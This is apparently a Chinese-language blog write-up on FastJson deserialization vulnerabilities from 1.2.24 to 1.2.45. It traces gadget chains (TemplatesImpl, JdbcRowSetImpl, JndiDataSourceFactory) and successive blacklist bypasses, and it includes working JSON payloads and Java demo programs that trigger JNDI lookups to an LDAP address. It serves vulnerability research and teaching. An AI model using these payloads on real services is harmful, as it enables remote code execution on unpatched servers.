荒废了好久,remake 了。
前置
FastJson 在创建一个类实例时会通过反射调用类中特殊的 Getter/Setter 方法。
Getter 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 public static JavaBeanInfo build (Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) { for (Method method : clazz.getMethods()) { String methodName = method.getName(); if (methodName.length() < 4 ) { continue ; } if (Modifier.isStatic(method.getModifiers())) { continue ; } if (methodName.startsWith("get" ) && Character.isUpperCase(methodName.charAt(3 ))) { if (method.getParameterTypes().length != 0 ) { continue ; } if (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType() ) { String propertyName; JSONField annotation = method.getAnnotation(JSONField.class); if (annotation != null && annotation.deserialize()) { continue ; } if (annotation != null && annotation.name().length() > 0 ) { propertyName = annotation.name(); } else { propertyName = Character.toLowerCase(methodName.charAt(3 )) + methodName.substring(4 ); } FieldInfo fieldInfo = getField(fieldList, propertyName); if (fieldInfo != null ) { continue ; } if (propertyNamingStrategy != null ) { propertyName = propertyNamingStrategy.translate(propertyName); } add(fieldList, new FieldInfo (propertyName, method, null , clazz, type, 0 , 0 , 0 , annotation, null , null )); } } } return new JavaBeanInfo (clazz, builderClass, defaultConstructor, null , null , buildMethod, jsonType, fieldList); }
Setter 方法
方法名长度大于 4 。
不是静态方法。
返回类型为 Void 或者当前类。
方法只有一个参数传递。
其方法名以 set 开头,第 4 位是大写,类似驼峰命名。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 public static JavaBeanInfo build (Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) { for (Method method : methods) { int ordinal = 0 , serialzeFeatures = 0 , parserFeatures = 0 ; String methodName = method.getName(); if (methodName.length() < 4 ) { continue ; } if (Modifier.isStatic(method.getModifiers())) { continue ; } if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) { continue ; } Class<?>[] types = method.getParameterTypes(); if (types.length != 1 ) { continue ; } JSONField annotation = method.getAnnotation(JSONField.class); if (annotation == null ) { annotation = TypeUtils.getSuperMethodAnnotation(clazz, method); } if (annotation != null ) { if (!annotation.deserialize()) { continue ; } ordinal = annotation.ordinal(); serialzeFeatures = SerializerFeature.of(annotation.serialzeFeatures()); parserFeatures = Feature.of(annotation.parseFeatures()); if (annotation.name().length() != 0 ) { String propertyName = annotation.name(); add(fieldList, new FieldInfo (propertyName, method, null , clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, null , null )); continue ; } } if (!methodName.startsWith("set" )) { continue ; } char c3 = methodName.charAt(3 ); String propertyName; if (Character.isUpperCase(c3) || c3 > 512 ) { if (TypeUtils.compatibleWithJavaBean) { propertyName = TypeUtils.decapitalize(methodName.substring(3 )); } else { propertyName = Character.toLowerCase(methodName.charAt(3 )) + methodName.substring(4 ); } } else if (c3 == '_' ) { propertyName = methodName.substring(4 ); } else if (c3 == 'f' ) { propertyName = methodName.substring(3 ); } else if (methodName.length() >= 5 && Character.isUpperCase(methodName.charAt(4 ))) { propertyName = TypeUtils.decapitalize(methodName.substring(3 )); } else { continue ; } } }
序列化
在反序列化中,主要使用 JSON.parse() 和 JSON.parseObject() 方法。
这几个方法在反序列化的时候,会调用反序列化目标类中的 construct/get/set/is 方法。如果这些方法中有危险操作,则能完成攻击。
JSON.parseObject(str, Object.class)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import com.alibaba.fastjson.JSON;import java.util.concurrent.atomic.AtomicInteger;public class User { private String name; private AtomicInteger age; public User () { System.out.println("no parameter construct" ); } public static void main (String[] args) { String jsonString = "{\"@type\":\"User\",\"age\":18,\"name\":\"south\"}" ; Object user = JSON.parseObject(jsonString, Object.class); } public String getName () { System.out.println("get name" ); return name; } public void setName (String name) { System.out.println("set name" ); this .name = name; } public AtomicInteger getAge () { System.out.println("get age" ); return age; } }
在指定了目标类后,反序列化会调用当中的 set 方法和特殊 getter 方法。
JSON.parseObject(str)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import com.alibaba.fastjson.JSON;import java.util.concurrent.atomic.AtomicInteger;public class User { private String name; private AtomicInteger age; public User () { System.out.println("no parameter construct" ); } public static void main (String[] args) { String jsonString = "{\"@type\":\"User\",\"age\":18,\"name\":\"south\"}" ; Object user = JSON.parseObject(jsonString); } public String getName () { System.out.println("get name" ); return name; } public void setName (String name) { System.out.println("set name" ); this .name = name; } public AtomicInteger getAge () { System.out.println("get age" ); return age; } public void setAge (AtomicInteger age) { System.out.println("set age" ); this .age = age; } }
而不指定目标类时,会调用全部的 get/set/construct 方法,而如果存在特殊 getter 方法,则原本调用 set 方法的地方会调用 get 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import com.alibaba.fastjson.JSON;import java.util.concurrent.atomic.AtomicInteger;public class User { private String name; private AtomicInteger age; public User () { System.out.println("no parameter construct" ); } public static void main (String[] args) { String jsonString = "{\"@type\":\"User\",\"age\":18,\"name\":\"south\"}" ; Object user = JSON.parseObject(jsonString); } public String getName () { System.out.println("get name" ); return name; } public void setName (String name) { System.out.println("set name" ); this .name = name; } public AtomicInteger getAge () { System.out.println("get age" ); return age; } }
JSON.parse(str)
同 JSON.parseObject(str, Object.class) ,不同之处在于会调解析字符串中 @type 指定的类。
AutoType 机制
若一个类中包含了一个接口/抽象类 ,则在使用 FastJson 进行对其进行序列化的时候,子类型会被抹去,只保留抽象类接口的类型,因此反序列化时无法拿到原始类型。
而 AutoType ,可以在序列化的时候,把原始类型通过 SerializerFeature.WriteClassName 进行标记。
1 2 3 4 5 6 7 public static void main (String[] args) { System.out.println(JSON.toJSONString(new User ())); System.out.println(JSON.toJSONString(new User (), SerializerFeature.WriteClassName)); }
由此,Json 字符串中多出了一个 @type 字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型。
即在对 Json 字符串解析的时候,会把字符串反序列化成读取到的 @type 字段的类,并调用这个类的 setter 方法。
因此在处理 Json 对象的时候,未对 @type 字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程 RMI 主机,通过其中的恶意类执行代码。
SupportNonPublicField
如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。
Base64
FastJson 在反序列化时,如果 Field 类型为 byte[] ,将会调用 com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 Base64 解码,对应的,在序列化时也会进行 Base64 编码。
smartMatch
FastJson 在为类属性寻找 getter/setter 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch 方法,会忽略 "_" 、"-" 字符串。
例如字段名为 _a_g_e_ ,getter 方法为 getAge ,FastJson 也可以找到,在 1.2.36 版本及后续版本还可以支持同时组合混淆。
漏洞分析
1.2.24
简介
FastJson <= 1.2.24 均生效。
反序列化漏洞首曝。
TemplatesImpl
分析
调用关系如下。
首先要关注的是 newInstance 方法,可以看到,TemplatesImpl 链中的 getTransletInstance 方法涉及到相关操作,12 行处 _class 取 _transletIndex 下标进行了实例化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setOverrideDefaultParser(_overrideDefaultParser); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException | IllegalAccessException | NoSuchMethodException | InvocationTargetException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString(), e); } }
查找调用关系,可以发现 newTransformer 方法在第 7 行调用了 getTransletInstance 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }
继续跟进查看调用关系,发现 getOutputProperties 方法满足上文介绍的 Getter 方法。
getOutputProperties 在第 4 行调用 newTransformer 。
1 2 3 4 5 6 7 8 9 public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } }
确认 getOutputProperties 是 _outputProperties 的 getter 方法,而 _outputProperties 是 TemplatesImpl 链的成员变量。
1 private Properties _outputProperties;
确定了调用链的前段,接下来还需要寻找 _class 在何处可控,继续跟进,发现 _class 在 readObject 、construction 、defineTransletClasses 等方法中均有赋值调用。
回过头看一开始的 getTransletInstance 方法,发现在第 7 行处,满足 _class 为空即可调用 defineTransletClasses ,同时要求 _name 不为空。
1 2 3 4 5 6 7 8 9 10 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); } }
而在 defineTransletClasses 中,第 5 行要求 _bytecodes 不为空,然后第 19 行 loader.defineClass 加载 _bytecodes 。
然后第 23 行判断如果 _class[i] 的父类是 ABSTRACT_TRANSLET ,则有 _transletIndex = i 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } } }
最后回到 getTransletInstance 方法,此时第 12 行 _transletIndex 为上文中 _class[i] 的下标,因此 _bytecodes 得以 newInstance 实例化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance(); } }
额外的要求
实际上在 defineTransletClasses 方法中,对 _tfactory 也同样有着要求,13 行处调用了 getExternalExtensionsMap 方法,这是 TransformerFactoryImpl 类的实现方法,也是 _tfactory 的变量类型,因此此处如果为空,则会报错。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); }
但是实际上可以传递空对象 {} ,因为 Json 中 {} 表示 object ,因此得以进入 deserialze 方法,在第 8 行出判定 object 为空,然后调用 createInstance 方法根据设定的变量类型 TransformerFactoryImpl 创建一个新的对象,从而执行上文的 getExternalExtensionsMap 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 protected <T> T deserialze (DefaultJSONParser parser, // Type type, // Object fieldName, // Object object, // int features) { if (object == null ) { if (fieldValues == null ) { object = createInstance(parser, type); if (childContext == null ) { childContext = parser.setContext(context, object, fieldName); } return (T) object; } } }
另外,_bytecodes 在反序列化的时候,会经由 deserialze 方法在第 5 行调用 bytesValue 。
1 2 3 4 5 6 7 8 9 10 public <T> T deserialze (DefaultJSONParser parser, Type type, Object fieldName) { if (lexer.token() == JSONToken.LITERAL_STRING) { byte [] bytes = lexer.bytesValue(); lexer.nextToken(JSONToken.COMMA); return (T) bytes; } }
bytesValue 做了 Base64 解码,因此对于传入的 _bytecodes 需要经 Base64 编码。
1 2 3 public byte [] bytesValue() { return IOUtils.decodeBase64(buf, np + 1 , sp); }
总结
_bytecodes 需要是一个 Base64 编码的字节码数组,这样才可以在 defineTransletClasses 方法的 for 循环中被赋值,然后在 getTransletInstance 方法中被 newInstance 方法执行恶意代码。
_name 不能为空,_tfactory 需要是空 object ,**_outputProperties** 需要触发 getOutputProperties 因此同样需要是空 object 。
1 2 3 4 5 6 7 { "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" , "_bytecodes" : [ "yv66vgAAADQAHAEABFRlc3QHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAcBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABBqYXZhL2xhbmcvU3lzdGVtBwAMAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07DAAOAA8JAA0AEAgAAQEAE2phdmEvaW8vUHJpbnRTdHJlYW0HABMBAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAVABYKABQAFwEABjxpbml0PgwAGQAKCgAIABoAIQACAAgAAAAAAAIACAAJAAoAAQALAAAAFQACAAAAAAAJsgAREhK2ABixAAAAAAABABkACgABAAsAAAARAAEAAQAAAAUqtwAbsQAAAAAAAQAFAAAAAgAG" ] , "_name" : "name" , "_tfactory" : { } , "_outputProperties" : { } , }
例子
SupportNonPublicField 的开启条件在上文有提到,是当目标类中私有变量没有 setter 方法,但反序列化时仍想给这个变量赋值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package st.southsea;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{\n" + " \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" + " \"_bytecodes\": [\"yv66vgAAADQAHAEABFRlc3QHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAcBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABBqYXZhL2xhbmcvU3lzdGVtBwAMAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07DAAOAA8JAA0AEAgAAQEAE2phdmEvaW8vUHJpbnRTdHJlYW0HABMBAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAVABYKABQAFwEABjxpbml0PgwAGQAKCgAIABoAIQACAAgAAAAAAAIACAAJAAoAAQALAAAAFQACAAAAAAAJsgAREhK2ABixAAAAAAABABkACgABAAsAAAARAAEAAQAAAAUqtwAbsQAAAAAAAQAFAAAAAgAG\"],\n" + " \"_name\": \"name\",\n" + " \"_tfactory\": {},\n" + " \"_outputProperties\": {},\n" + "}" ; Object user = JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); System.out.println(user); } }
JdbcRowSetImpl
分析
这是一个 JNDI 注入链,对于 JNDI 注入来说,关键点在于 javax.naming.InitialContext#lookup 参数可控。
connect 方法调用了 lookup ,参数是 dataSourceName 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private Connection connect () throws SQLException { if (this .conn != null ) { return this .conn; } else if (this .getDataSourceName() != null ) { try { InitialContext var1 = new InitialContext (); DataSource var2 = (DataSource)var1.lookup(this .getDataSourceName()); return this .getUsername() != null && !this .getUsername().equals("" ) ? var2.getConnection(this .getUsername(), this .getPassword()) : var2.getConnection(); } catch (NamingException var3) { throw new SQLException (this .resBundle.handleGetObject("jdbcrowsetimpl.connect" ).toString()); } } else { return this .getUrl() != null ? DriverManager.getConnection(this .getUrl(), this .getUsername(), this .getPassword()) : null ; } }
查找引用,发现 setAutoCommit 中存在调用关系,且该方法符合 Setter 方法命名规范。
setAutoCommit 方法在 conn 为空时,调用 connect 方法。
1 2 3 4 5 6 7 8 9 public void setAutoCommit (boolean var1) throws SQLException { if (this .conn != null ) { this .conn.setAutoCommit(var1); } else { this .conn = this .connect(); this .conn.setAutoCommit(var1); } }
总结
dataSourceName 为 JNDI 注入地址,autoCommit 给一个值触发 setAutoCommit 。
1 2 3 4 5 { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "ldap://127.0.0.1:14514/test" , "autoCommit" : true }
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package st.southsea;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{\n" + " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\": \"ldap://127.0.0.1:14514/test\",\n" + " \"autoCommit\": true\n" + "}" ; Object user = JSON.parseObject(payload); System.out.println(user); } }
修复
官方在 1.2.25 对漏洞进行了修复 ,引入了 checkAutoType 机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而开启 AutoType 后,有内置黑名单来实现反序列化类的过滤,同时FastJson 也提供了添加黑名单的接口。
1.2.25
简介
1.2.25 <= FastJson <= 1.2.41 均生效。
引入了 checkAutoType 机制,默认关闭,使用特殊类名绕过,需要开启 AutoTypeSupport 和 SupportNonPublicField 。
分析
若开启了 autoType ,先判断类名是否在白名单中,如果在,就使用 TypeUtils.loadClass 加载,然后使用黑名单判断类名的开头,如果匹配就抛出异常。
若未开启 autoType ,则是先使用黑名单匹配,再使用白名单匹配和加载。如果反序列化的类和黑白名单都未匹配时,只有开启了 autoType 或者 expectClass 不为空也就是指定了 Class 对象时才会调用 TypeUtils.loadClass 加载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null ) { return null ; } final String className = typeName.replace('$' , '.' ); if (autoTypeSupport || expectClass != null ) { for (int i = 0 ; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader); } } for (int i = 0 ; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException ("autoType is not support. " + typeName); } } } if (!autoTypeSupport) { for (int i = 0 ; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException ("autoType is not support. " + typeName); } } for (int i = 0 ; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } if (autoTypeSupport || expectClass != null ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); } }
loadClass 方法在加载目标类之前,为了兼容带有描述符的类名,在第 14 行 和 第 19 行使用了递归调用来处理描述符中的 [、L、; 字符。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public static Class<?> loadClass(String className, ClassLoader classLoader) { if (className == null || className.length() == 0 ) { return null ; } Class<?> clazz = mappings.get(className); if (clazz != null ) { return clazz; } if (className.charAt(0 ) == '[' ) { Class<?> componentType = loadClass(className.substring(1 ), classLoader); return Array.newInstance(componentType, 0 ).getClass(); } if (className.startsWith("L" ) && className.endsWith(";" )) { String newClassName = className.substring(1 , className.length() - 1 ); return loadClass(newClassName, classLoader); } }
因此就在这个位置出现了逻辑漏洞,攻击者可以使用带有描述符的类绕过黑名单的限制,而在类加载过程中,描述符还会被处理掉。
总结
开启 autoType 的时候,可以在类名的首尾加上 L 和 ; 来绕过。
1 2 3 4 5 { "@type" : "Lcom.sun.rowset.JdbcRowSetImpl;" , "dataSourceName" : "ldap://127.0.0.1:14514/test" , "autoCommit" : true }
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package st.southsea;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{\n" + " \"@type\": \"Lcom.sun.rowset.JdbcRowSetImpl;\",\n" + " \"dataSourceName\": \"ldap://127.0.0.1:14514/test\",\n" + " \"autoCommit\": true\n" + "}" ; Object user = JSON.parseObject(payload); System.out.println(user); } }
修复
官方在 1.2.42 对漏洞进行了修复 ,将黑白名单换成了哈希值,并使用删掉了类名头尾的 L 和 ; 。
1.2.42
简介
1.2.25 <= FastJson <= 1.2.42 均生效。
黑白名单换成了哈希,使用双写 L 和 ; 绕过,需要开启 AutoTypeSupport 。
分析
虽然将黑白名单换成了哈希值,但是很遗憾,可以碰撞 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 { denyHashCodes = new long []{ -8720046426850100497L , -8109300701639721088L , -7966123100503199569L , -7766605818834748097L , -6835437086156813536L , -4837536971810737970L , -4082057040235125754L , -2364987994247679115L , -1872417015366588117L , -254670111376247151L , -190281065685395680L , 33238344207745342L , 313864100207897507L , 1203232727967308606L , 1502845958873959152L , 3547627781654598988L , 3730752432285826863L , 3794316665763266033L , 4147696707147271408L , 5347909877633654828L , 5450448828334921485L , 5751393439502795295L , 5944107969236155580L , 6742705432718011780L , 7179336928365889465L , 7442624256860549330L , 8838294710098435315L }; long [] hashCodes = new long [AUTO_TYPE_ACCEPT_LIST.length]; for (int i = 0 ; i < AUTO_TYPE_ACCEPT_LIST.length; i++) { hashCodes[i] = TypeUtils.fnv1a_64(AUTO_TYPE_ACCEPT_LIST[i]); } Arrays.sort(hashCodes); acceptHashCodes = hashCodes; }
此外在 checkAutoType 中对 1.2.25 的绕过做的修复也仅是删掉头尾的 L 和 ; ,那么绕过很简单,双写即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { if ((((BASIC ^ className.charAt(0 )) * PRIME) ^ className.charAt(className.length() - 1 )) * PRIME == 0x9198507b5af98f0L ) { className = className.substring(1 , className.length() - 1 ); } }
总结
Payload 如下。
1 2 3 4 5 { "@type" : "LLcom.sun.rowset.JdbcRowSetImpl;;" , "dataSourceName" : "ldap://127.0.0.1:14514/test" , "autoCommit" : true }
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package st.southsea;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{\n" + " \"@type\": \"LLcom.sun.rowset.JdbcRowSetImpl;;\",\n" + " \"dataSourceName\": \"ldap://127.0.0.1:14514/test\",\n" + " \"autoCommit\": true\n" + "}" ; Object user = JSON.parseObject(payload); System.out.println(user); } }
修复
官方在 1.2.43 对漏洞进行了修复 ,Ban 了 LL 开头。
1.2.43
简介
1.2.25 <= FastJson <= 1.2.43 均生效。
使用 [ 绕过,需要开启 AutoTypeSupport 。
分析
修复方案是判断开头为 LL 的时候报错。
1 2 3 4 5 6 7 8 9 10 11 12 13 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { if ((((BASIC ^ className.charAt(0 )) * PRIME) ^ className.charAt(1 )) * PRIME == 0x9195c07b5af5345L ) { throw new JSONException ("autoType is not support. " + typeName); } }
但是没有关系,之前提到的 [ 绕过还没用,添上一个看看。
1 2 3 4 5 { "@type" : "[com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "ldap://127.0.0.1:14514/test" , "autoCommit" : true }
给了一个报错。
1 2 3 4 5 6 Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 48, json : { "@type": "[com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:14514/test", "autoCommit": true } at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:675)
跟进报错点查看,发现第 9 行处需要一个 [ 读入。
1 2 3 4 5 6 7 8 9 10 11 12 13 public void parseArray (Type type, Collection array, Object fieldName) { int token = lexer.token(); if (token == JSONToken.SET || token == JSONToken.TREE_SET) { lexer.nextToken(); token = lexer.token(); } if (token != JSONToken.LBRACKET) { throw new JSONException ("exepct '[', but " + JSONToken.name(token) + ", " + lexer.info()); } }
因此改进。
1 2 3 4 5 { "@type" : "[com.sun.rowset.JdbcRowSetImpl" [, "dataSourceName" : "ldap://127.0.0.1:14514/test" , "autoCommit" : true }
继续报错。
1 2 Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 54, fastjson-version 1.2.43 at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:451)
跟进报错点查看,发现第 9 行处需要一个 { 读入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 protected <T> T deserialze (DefaultJSONParser parser, // Type type, // Object fieldName, // Object object, // int features, // int [] setFlags) { StringBuffer buf = (new StringBuffer ()) .append("syntax error, expect {, actual " ) .append(lexer.tokenName()) .append(", pos " ) .append(lexer.pos()); if (fieldName instanceof String) { buf .append(", fieldName " ) .append(fieldName); } buf.append(", fastjson-version " ).append(JSON.VERSION); throw new JSONException (buf.toString()); }
继续修改,发现满足条件。
1 2 3 4 5 { "@type" : "[com.sun.rowset.JdbcRowSetImpl" [{, "dataSourceName" : "ldap://127.0.0.1:14514/test" , "autoCommit" : true }
总结
使用 [ 绕过,分别根据报错补足字符就行。
1 2 3 4 5 { "@type" : "[com.sun.rowset.JdbcRowSetImpl" [ { , "dataSourceName" : "ldap://127.0.0.1:14514/test" , "autoCommit" : true }
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package st.southsea;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{\n" + " \"@type\": \"[com.sun.rowset.JdbcRowSetImpl\"[{,\n" + " \"dataSourceName\": \"ldap://127.0.0.1:14514/test\",\n" + " \"autoCommit\": true\n" + "}" ; Object user = JSON.parseObject(payload); System.out.println(user); } }
修复
官方在 1.2.44 对漏洞进行了修复 ,新增了开头是 [ 的判定。
1.2.45
简介
FastJson <= 1.2.45 均生效。
新的 Gadget 绕过黑名单,需要开启 AutoTypeSupport 。
分析
JndiDataSourceFactory
一个新的 Gadget 绕过黑名单。
1 2 3 4 5 <dependency > <groupId > org.mybatis</groupId > <artifactId > mybatis</artifactId > <version > 3.4.6</version > </dependency >
比较简单这个类,第 18 行处调用了 lookup 方法,值为 properties 的 DATA_SOURCE 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 private DataSource dataSource;@Override public void setProperties (Properties properties) { try { InitialContext initCtx; Properties env = getEnvProperties(properties); if (env == null ) { initCtx = new InitialContext (); } else { initCtx = new InitialContext (env); } if (properties.containsKey(INITIAL_CONTEXT) && properties.containsKey(DATA_SOURCE)) { Context ctx = (Context) initCtx.lookup(properties.getProperty(INITIAL_CONTEXT)); dataSource = (DataSource) ctx.lookup(properties.getProperty(DATA_SOURCE)); } else if (properties.containsKey(DATA_SOURCE)) { dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE)); } } catch (NamingException e) { throw new DataSourceException ("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e); } }
总结
新的绕过链,构造如下。
1 2 3 4 5 6 { "@type" : "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" , "properties" : { "data_source" : "ldap://127.0.0.1:14514/test" } }
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package st.southsea;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{\n" + " \"@type\": \"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" + " \"properties\": {\n" + " \"data_source\": \"ldap://127.0.0.1:14514/test\"\n" + " }\n" + "}" ; Object user = JSON.parseObject(payload); System.out.println(user); } }
修复
